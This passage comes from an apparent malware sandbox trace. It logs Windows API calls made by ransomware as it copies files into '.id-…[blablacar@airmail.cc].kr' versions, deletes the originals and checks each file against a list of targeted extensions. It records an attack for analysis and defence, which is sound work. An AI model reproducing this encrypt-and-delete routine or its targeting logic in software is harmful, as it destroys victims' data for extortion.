Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0095.250] GetLastError () returned 0x0 [0095.250] ReadFile (in: hFile=0x360, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0xa5, lpOverlapped=0x0) returned 1 [0095.252] WriteFile (in: hFile=0x340, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0xb0, lpOverlapped=0x0) returned 1 [0095.253] ReadFile (in: hFile=0x360, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1 [0095.253] WriteFile (in: hFile=0x340, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x102, lpOverlapped=0x0) returned 1 [0095.253] SetEndOfFile (hFile=0x340) returned 1 [0095.254] CloseHandle (hObject=0x340) returned 1 [0095.255] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0095.255] SetEndOfFile (hFile=0x360) returned 1 [0095.256] CloseHandle (hObject=0x360) returned 1 [0095.256] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0095.257] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif")) returned 1 [0095.257] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0095.257] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0095.257] lstrlenW (lpString=".doc") returned 4 [0095.257] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0095.257] lstrlenW (lpString=".docx") returned 5 [0095.257] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0095.257] lstrlenW (lpString=".pdf") returned 4 [0095.257] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0095.257] lstrlenW (lpString=".xls") returned 4 [0095.257] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0095.257] lstrlenW (lpString=".xlsx") returned 5 [0095.258] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0095.258] lstrlenW (lpString=".ppt") returned 4 [0095.258] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0095.258] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0095.258] lstrlenW (lpString=".zip") returned 4 [0095.258] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0095.258] lstrlenW (lpString=".rar") returned 4 [0095.258] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0095.258] lstrlenW (lpString=".bz2") returned 4 [0095.258] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0095.258] lstrlenW (lpString=".7z") returned 3 [0095.258] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0095.258] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0095.258] lstrlenW (lpString=".dbf") returned 4 [0095.258] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0095.258] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0095.258] lstrlenW (lpString=".1cd") returned 4 [0095.258] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0095.258] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0095.258] lstrlenW (lpString=".jpg") returned 4 [0095.258] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0095.258] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0095.258] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0095.258] lstrlenW (lpString=".doc") returned 4 [0095.258] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0095.259] lstrlenW (lpString=".docx") returned 5 [0095.259] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0095.259] lstrlenW (lpString=".pdf") returned 4 [0095.259] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0095.259] lstrlenW (lpString=".xls") returned 4 [0095.259] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0095.259] lstrlenW (lpString=".xlsx") returned 5 [0095.259] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0095.259] lstrlenW (lpString=".ppt") returned 4 [0095.259] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0095.259] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0095.259] lstrlenW (lpString=".zip") returned 4 [0095.259] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0095.259] lstrlenW (lpString=".rar") returned 4 [0095.259] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0095.259] lstrlenW (lpString=".bz2") returned 4 [0095.259] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0095.259] lstrlenW (lpString=".7z") returned 3 [0095.259] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0095.259] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0095.259] lstrlenW (lpString=".dbf") returned 4 [0095.259] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0095.259] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0095.259] lstrlenW (lpString=".1cd") returned 4 [0095.259] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0095.259] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0095.260] lstrlenW (lpString=".jpg") returned 4 [0095.260] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0095.260] lstrcmpiW (lpString1=".txt", lpString2=".kr") returned 1 [0095.260] lstrlenW (lpString="README.txt") returned 10 [0095.260] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0095.277] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=46) returned 1 [0095.277] CloseHandle (hObject=0x34c) returned 1 [0095.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt")) returned 0x20 [0095.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0095.278] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0095.278] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0095.278] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0095.278] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0095.279] GetLastError () returned 0x0 [0095.279] ReadFile (in: hFile=0x34c, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x2e, lpOverlapped=0x0) returned 1 [0095.280] WriteFile (in: hFile=0x35c, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x30, lpOverlapped=0x0) returned 1 [0095.281] ReadFile (in: hFile=0x34c, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1 [0095.281] WriteFile (in: hFile=0x35c, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0xe8, lpOverlapped=0x0) returned 1 [0095.282] SetEndOfFile (hFile=0x35c) returned 1 [0095.287] CloseHandle (hObject=0x35c) returned 1 [0095.288] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0095.288] SetEndOfFile (hFile=0x34c) returned 1 [0095.289] CloseHandle (hObject=0x34c) returned 1 [0095.290] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0095.290] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt")) returned 1 [0095.290] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0095.290] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0095.290] lstrlenW (lpString=".doc") returned 4 [0095.290] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0095.290] lstrlenW (lpString=".docx") returned 5 [0095.291] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1 [0095.291] lstrlenW (lpString=".pdf") returned 4 [0095.291] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0095.291] lstrlenW (lpString=".xls") returned 4 [0095.291] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0095.291] lstrlenW (lpString=".xlsx") returned 5 [0095.291] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1 [0095.291] lstrlenW (lpString=".ppt") returned 4 [0095.291] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0095.291] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0095.291] lstrlenW (lpString=".zip") returned 4 [0095.291] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0095.291] lstrlenW (lpString=".rar") returned 4 [0095.291] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0095.291] lstrlenW (lpString=".bz2") returned 4 [0095.291] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0095.291] lstrlenW (lpString=".7z") returned 3 [0095.291] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0095.291] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0095.291] lstrlenW (lpString=".dbf") returned 4 [0095.291] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0095.291] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0095.291] lstrlenW (lpString=".1cd") returned 4 [0095.291] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0095.291] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0095.291] lstrlenW (lpString=".jpg") returned 4 [0095.291] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0095.292] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0095.292] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0095.292] lstrlenW (lpString=".doc") returned 4 [0095.292] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0095.292] lstrlenW (lpString=".docx") returned 5 [0095.292] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1 [0095.292] lstrlenW (lpString=".pdf") returned 4 [0095.292] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0095.292] lstrlenW (lpString=".xls") returned 4 [0095.292] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0095.292] lstrlenW (lpString=".xlsx") returned 5 [0095.292] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1 [0095.292] lstrlenW (lpString=".ppt") returned 4 [0095.292] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0095.292] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0095.292] lstrlenW (lpString=".zip") returned 4 [0095.292] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0095.292] lstrlenW (lpString=".rar") returned 4 [0095.292] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0095.292] lstrlenW (lpString=".bz2") returned 4 [0095.292] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0095.292] lstrlenW (lpString=".7z") returned 3 [0095.292] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0095.292] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0095.292] lstrlenW (lpString=".dbf") returned 4 [0095.292] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0095.292] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0095.292] lstrlenW (lpString=".1cd") returned 4 [0095.293] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0095.293] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0095.293] lstrlenW (lpString=".jpg") returned 4 [0095.293] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0095.293] lstrcmpiW (lpString1=".txt", lpString2=".kr") returned 1 [0095.293] lstrlenW (lpString="THIRDPARTYLICENSEREADME.txt") returned 27 [0095.293] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0095.294] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=145180) returned 1 [0095.294] CloseHandle (hObject=0x34c) returned 1 [0095.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt")) returned 0x20 [0095.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0095.294] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0095.294] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0095.294] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0095.294] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0095.294] GetLastError () returned 0x0 [0095.294] ReadFile (in: hFile=0x34c, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x2371c, lpOverlapped=0x0) returned 1 [0095.300] WriteFile (in: hFile=0x35c, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x23720, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x23720, lpOverlapped=0x0) returned 1 [0095.303] ReadFile (in: hFile=0x34c, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1 [0095.303] WriteFile (in: hFile=0x35c, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x10a, lpOverlapped=0x0) returned 1 [0095.304] SetEndOfFile (hFile=0x35c) returned 1 [0095.304] CloseHandle (hObject=0x35c) returned 1 [0095.308] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0095.308] SetEndOfFile (hFile=0x34c) returned 1 [0095.871] CloseHandle (hObject=0x34c) returned 1 [0095.871] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0095.872] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt")) returned 1 [0095.872] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0095.872] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0095.872] lstrlenW (lpString=".doc") returned 4 [0095.872] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0095.872] lstrlenW (lpString=".docx") returned 5 [0095.872] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1 [0095.872] lstrlenW (lpString=".pdf") returned 4 [0095.872] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0095.872] lstrlenW (lpString=".xls") returned 4 [0095.872] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0095.872] lstrlenW (lpString=".xlsx") returned 5 [0095.872] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1 [0095.872] lstrlenW (lpString=".ppt") returned 4 [0095.872] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0095.872] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0095.872] lstrlenW (lpString=".zip") returned 4 [0095.872] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0095.872] lstrlenW (lpString=".rar") returned 4 [0095.872] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0095.872] lstrlenW (lpString=".bz2") returned 4 [0095.872] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0095.873] lstrlenW (lpString=".7z") returned 3 [0095.873] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0095.873] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0095.873] lstrlenW (lpString=".dbf") returned 4 [0095.873] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0095.873] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0095.873] lstrlenW (lpString=".1cd") returned 4 [0095.873] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0095.873] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0095.873] lstrlenW (lpString=".jpg") returned 4 [0095.873] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0095.873] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0095.873] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0095.873] lstrlenW (lpString=".doc") returned 4 [0095.873] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0095.873] lstrlenW (lpString=".docx") returned 5 [0095.873] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1 [0095.873] lstrlenW (lpString=".pdf") returned 4 [0095.873] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0095.873] lstrlenW (lpString=".xls") returned 4 [0095.873] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0095.873] lstrlenW (lpString=".xlsx") returned 5 [0095.873] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1 [0095.873] lstrlenW (lpString=".ppt") returned 4 [0095.873] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0095.873] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0095.873] lstrlenW (lpString=".zip") returned 4 [0095.873] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0095.873] lstrlenW (lpString=".rar") returned 4 [0095.873] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0095.874] lstrlenW (lpString=".bz2") returned 4 [0095.874] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0095.874] lstrlenW (lpString=".7z") returned 3 [0095.874] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0095.874] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0095.874] lstrlenW (lpString=".dbf") returned 4 [0095.874] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0095.874] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0095.874] lstrlenW (lpString=".1cd") returned 4 [0095.874] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0095.874] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0095.874] lstrlenW (lpString=".jpg") returned 4 [0095.875] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0095.875] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0095.875] lstrlenW (lpString="AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 53 [0095.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0096.698] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=1533) returned 1 [0096.698] CloseHandle (hObject=0x36c) returned 1 [0096.699] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml")) returned 0x220 [0096.699] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0096.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0096.699] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0096.699] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0096.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0096.704] GetLastError () returned 0x0 [0096.704] ReadFile (in: hFile=0x36c, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x5fd, lpOverlapped=0x0) returned 1 [0096.707] WriteFile (in: hFile=0x374, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x600, 